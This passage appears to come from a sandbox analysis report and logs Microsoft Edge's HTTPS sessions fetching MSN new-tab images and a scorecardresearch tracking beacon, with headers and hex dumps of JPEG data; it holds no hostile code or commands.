2024-10-29 05:59:31 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	49865	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 Last-Modified: Fri, 11 Oct 2024 13:06:19 GMT X-Source-Length: 76988 X-Datacenter: westus X-ActivityId: 11874a3c-047d-456e-bfb6-42599b341a3f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 76988 Cache-Control: public, max-age=68812 Expires: Wed, 30 Oct 2024 01:06:23 GMT Date: Tue, 29 Oct 2024 05:59:31 GMT Connection: close
2024-10-29 05:59:31 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 6c c8 Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=zl
2024-10-29 05:59:31 UTC	1994	IN	Data Raw: 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 48 ad Data Ascii: .LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SWH
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-10-29 05:59:31 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-10-29 05:59:31 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49867	108.156.211.31	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	925	OUT	GET /b?rn=1730181570259&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=082392D97AE764340DA987FE7BEF6550&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 29 Oct 2024 05:59:31 GMT Location: /b2?rn=1730181570259&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=082392D97AE764340DA987FE7BEF6550&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B9829b9a9fd67a5f0b7b741730181571; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B9829b9a9fd67a5f0b7b741730181571; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 bc93469e8ef2c86cc8438ca29c2edb1a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: 0mRV2QCT48r2cGm6OkRLdq-CdEXYPEo7jAIEIXTPs0Bj65xsigwuhA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49866	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 23 Oct 2024 15:34:18 GMT X-Datacenter: eastap X-ActivityId: 451a31b5-6ea3-4c00-9f6a-916587318427 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1O X-Source-Length: 73239 Content-Length: 73239 Cache-Control: public, max-age=336908 Expires: Sat, 02 Nov 2024 03:34:39 GMT Date: Tue, 29 Oct 2024 05:59:31 GMT Connection: close
2024-10-29 05:59:31 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-29 05:59:31 UTC	16384	IN	Data Raw: b2 79 a9 b0 83 00 6a 32 e2 4e f3 f3 7c e3 cb 63 fd bb 26 65 40 49 ae 9a 9d ba 00 fa 9c b9 50 57 75 66 d9 05 24 62 19 18 e2 74 76 d9 ee 79 24 de 50 51 5c 4c a8 50 6e 09 07 32 66 9b 9c 68 56 2c a7 90 4f ee 2a 71 55 53 40 98 ed ae 83 57 e6 39 cb e2 fd cc 58 81 1a 53 21 b8 bb 15 cc dd e6 54 bc 50 94 2a aa d7 0a 46 47 68 d3 79 2f 8a 45 63 ab 8b d4 42 d5 f4 76 39 2e 54 df 57 78 a1 fb 48 f4 8e f8 fb 46 f2 5f aa b8 54 94 a9 22 26 a6 06 9c 3a a8 f4 f2 f6 d6 9b 29 b2 90 02 92 84 24 fb 20 9a 93 b8 a9 d6 53 67 94 5a 7b d5 92 a5 9d d4 92 75 27 21 2f 9d da cb aa 8b 09 ee 12 98 04 c4 89 f7 7c 9f 1f 92 bd 75 3c ca ad 2d 14 12 67 20 9d 29 39 8c a1 f4 95 75 58 d2 98 e0 23 e7 eb 76 dd b4 61 4a 04 21 44 41 39 d3 dd 2f 30 34 2f 78 c9 f0 79 eb ff 00 87 42 94 20 92 40 4e dd 7c Data Ascii: yj2N\|c&e@IPWuf$btvy$PQ\LPn2fhV,OqUS@W9XS!TPFGhy/EcBv9.TWxHF_T"&:)$ SgZ{u'!/\|u<-g )9uX#vaJ!DA9/04/xyB @N\|
2024-10-29 05:59:31 UTC	2318	IN	Data Raw: ac 27 ca 35 a3 96 d3 10 6d b8 85 43 b9 56 97 6c 8c 49 22 6a 24 3a 28 71 39 c3 ec ab 90 5a 05 92 48 1d ed 2b f6 ce f7 5f 35 c9 2f 94 5a 64 82 0e 44 39 70 9e 5c d8 82 fd 47 2d c9 22 e7 2e ab a6 a4 e5 b8 41 82 d7 3b c9 a2 c0 b2 a0 3e d4 95 d6 84 9c e1 fa bb 42 da 79 74 a5 34 4c 94 7f 55 41 3d 6f 13 96 db 24 45 ce fe 1c 8f 83 1e ed 77 ac fb 43 10 da 3f 57 da b9 e4 5d ad 47 a0 ae 9b 5f 9e 41 fc 37 33 6d 7e ca a1 5b 0d 0b f4 fc d2 25 2b e1 0a 1b 43 c6 5c c4 f9 4c 38 9c 7b c2 23 c9 13 f6 2e 3c 0e 4f 6e 61 43 d9 3d 8f 94 56 17 84 e9 79 11 b1 69 cb d4 f5 a2 f0 a2 8e 44 42 b8 28 3c 3a c4 a9 e6 c7 79 6a 47 19 e9 e0 f9 9c b7 33 09 03 54 67 fc 4e 5e a7 b0 dd 00 5d 41 3e 52 31 24 ed 7e 4d 49 52 54 4c c0 f9 3d e3 0e 79 cd 54 c7 ab d7 5e b8 8b 89 42 82 bd 13 20 0d fc 77 Data Ascii: '5mCVlI"j$:(q9ZH+_5/ZdD9p\G-".A;>Byt4LUA=o$EwC?W]G_A73m~[%+C\L8{#.<OnaC=VyiDB(<:yjG3TgN^]A>R1$~MIRTL=yT^B w
2024-10-29 05:59:32 UTC	16384	IN	Data Raw: de f2 97 ec 9c ed 9c 43 67 d1 d1 ca aa 79 7b d6 8f d8 ac 60 0d 41 a1 f5 bc d5 5f 49 bf 44 e6 ba c5 7d 9a d6 45 fe 42 d2 b5 48 28 3f db f4 76 72 37 7b db 58 35 28 23 fb ad e5 fe 17 83 92 21 56 f9 8b 26 b1 0b 4f b9 5f 27 47 29 73 bb 52 d2 3d 20 42 d3 e1 43 d8 f5 5c c7 ab 31 ff 00 33 e9 f6 76 b9 b4 05 61 57 b6 9e dd 5f 71 0b ef ac 0d f8 7b 63 d6 f9 77 88 ee 94 05 70 9c 69 fe 2a dc f0 f2 fc e7 74 ac 0a f4 4c f8 13 f2 2f 1c c5 78 6a e3 19 bf 2b 2c 2f 12 56 89 aa 0e 34 78 67 eb 7a 8a aa 46 48 b8 9c 73 ec 98 cb ae 8f 07 79 80 ca 60 52 27 83 a0 dc 90 ed 25 d3 4f 78 17 68 a5 54 52 68 93 bd 3c 5f 38 a8 0a 66 f1 dc be 52 60 31 52 54 a3 8c 02 45 27 83 e9 5f ab 94 ca 15 e3 91 b9 e5 29 97 ed 87 21 69 26 da 94 9c f3 a9 dd ab e5 f3 3c aa 53 79 40 51 20 8e d6 8c a0 9f 8e Data Ascii: Cgy{`A_ID}EBH(?vr7{X5(#!V&O_'G)sR= BC\13vaW_q{cwpi*tL/xj+,/V4xgzFHsy`R'%OxhTRh<_8fR`1RTE'_)!i&<Sy@Q
2024-10-29 05:59:32 UTC	16384	IN	Data Raw: d4 ba a5 24 a9 49 cc 53 16 ee 00 fb df 3c 9c 42 6a a0 92 68 28 92 77 7a f7 97 41 b9 dc db 3d e2 92 27 d0 42 44 c5 73 57 17 aa 4b 74 95 7b 1a e2 98 46 60 6b eb 3e e7 4a ee 04 12 13 fd c7 44 ee 9d f1 a0 7c cb 01 7d e9 5e 48 34 95 74 f7 3b ff 00 0e 6e 95 a2 4a 11 e9 15 1c d4 ad 33 76 92 ec 2a bc a5 8e f5 00 a9 5e 8c e6 13 c4 e9 2e 81 73 f1 64 db 04 80 91 4d e4 fd 5d e8 41 b5 65 76 ad f9 94 a3 e6 56 83 d4 e9 b3 ca 9b 69 04 2c 05 95 6d 90 f5 b7 f2 67 7f e6 db 70 84 da 4a 48 a8 4e 18 9c 86 dd 54 5f 19 6b 4e 34 79 3d 18 84 cc 0f 1d 5f a3 29 4a e0 ee 14 c5 49 3f 37 c1 55 84 77 f5 2a 89 93 3e 92 8e e0 1c 89 27 85 7c c5 cb 97 0c 93 1b 1e 20 a5 91 dd 26 80 99 3b c9 e2 fb 69 1f 89 ef 16 94 e0 c9 20 e6 63 86 92 d8 e5 d3 64 27 21 b9 79 99 dc 06 a7 b1 ea ca b7 00 5b 51 Data Ascii: $IS<Bjh(wzA='BDsWKt{F`k>JD\|}^H4t;nJ3v^.sdM]AevVi,mgpJHNT_kN4y=_)JI?7Uw>'\| &;i cd'!y[Q
2024-10-29 05:59:32 UTC	5904	IN	Data Raw: 0d d2 ea 58 99 b9 db e0 db ae 66 db 07 18 1b 90 c5 bc d9 0d c9 69 b6 43 f0 6d 8b 8c 82 90 e4 86 2d d5 81 4b 6c 1b 64 14 97 25 8b 8c 1c b4 dd 1a 60 9c 97 1c a6 e6 50 b5 5d cd f8 39 3c 3d ec d2 4c 68 c0 a8 7b 2c 89 07 ed 6b bc 19 11 1b 03 2f a7 ea 09 e1 1e 21 96 13 a2 bf c4 e6 34 ef 3d 4e 19 54 42 24 6f a8 71 ad fd bd db d1 63 99 50 94 04 ab 62 d3 3d 58 a5 ea 45 9f 88 a7 24 dd fe 94 9f 79 78 6c f2 c9 57 a5 89 27 4c 24 17 ea ac a9 40 01 87 14 6a 52 67 c4 a4 3c cb 95 c7 6f 5d bf a8 05 cb e9 81 71 55 d5 31 5e ac 4e e4 5c 56 30 02 64 1c d4 48 4c 78 47 cd ea 29 50 af 77 64 f8 a8 9e d9 60 84 83 38 87 86 14 80 36 50 38 cb 42 a2 2a 7e 6f 31 da da d5 48 4c f5 fd 1e 6c 57 37 0e b1 ea 70 02 d4 f0 ad 79 8a 9e b2 cd 53 32 60 f4 d8 f0 dc 32 69 03 a6 c7 b8 62 c7 8b 71 f0 Data Ascii: XfiCm-Kld%`P]9<=Lh{,k/!4=NTB$oqcPb=XE$yxlW'L$@jRg<o]qU1^N\V0dHLxG)Pwd`86P8B*~o1HLlW7pyS2`2ibq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49869	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:31 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:31 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 20 Oct 2024 13:06:01 GMT X-Datacenter: eastus X-ActivityId: 7cdbd1ce-0b66-49e0-bee9-2ead4f42bcfc Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=68764 Expires: Wed, 30 Oct 2024 01:05:35 GMT Date: Tue, 29 Oct 2024 05:59:31 GMT Connection: close
2024-10-29 05:59:31 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
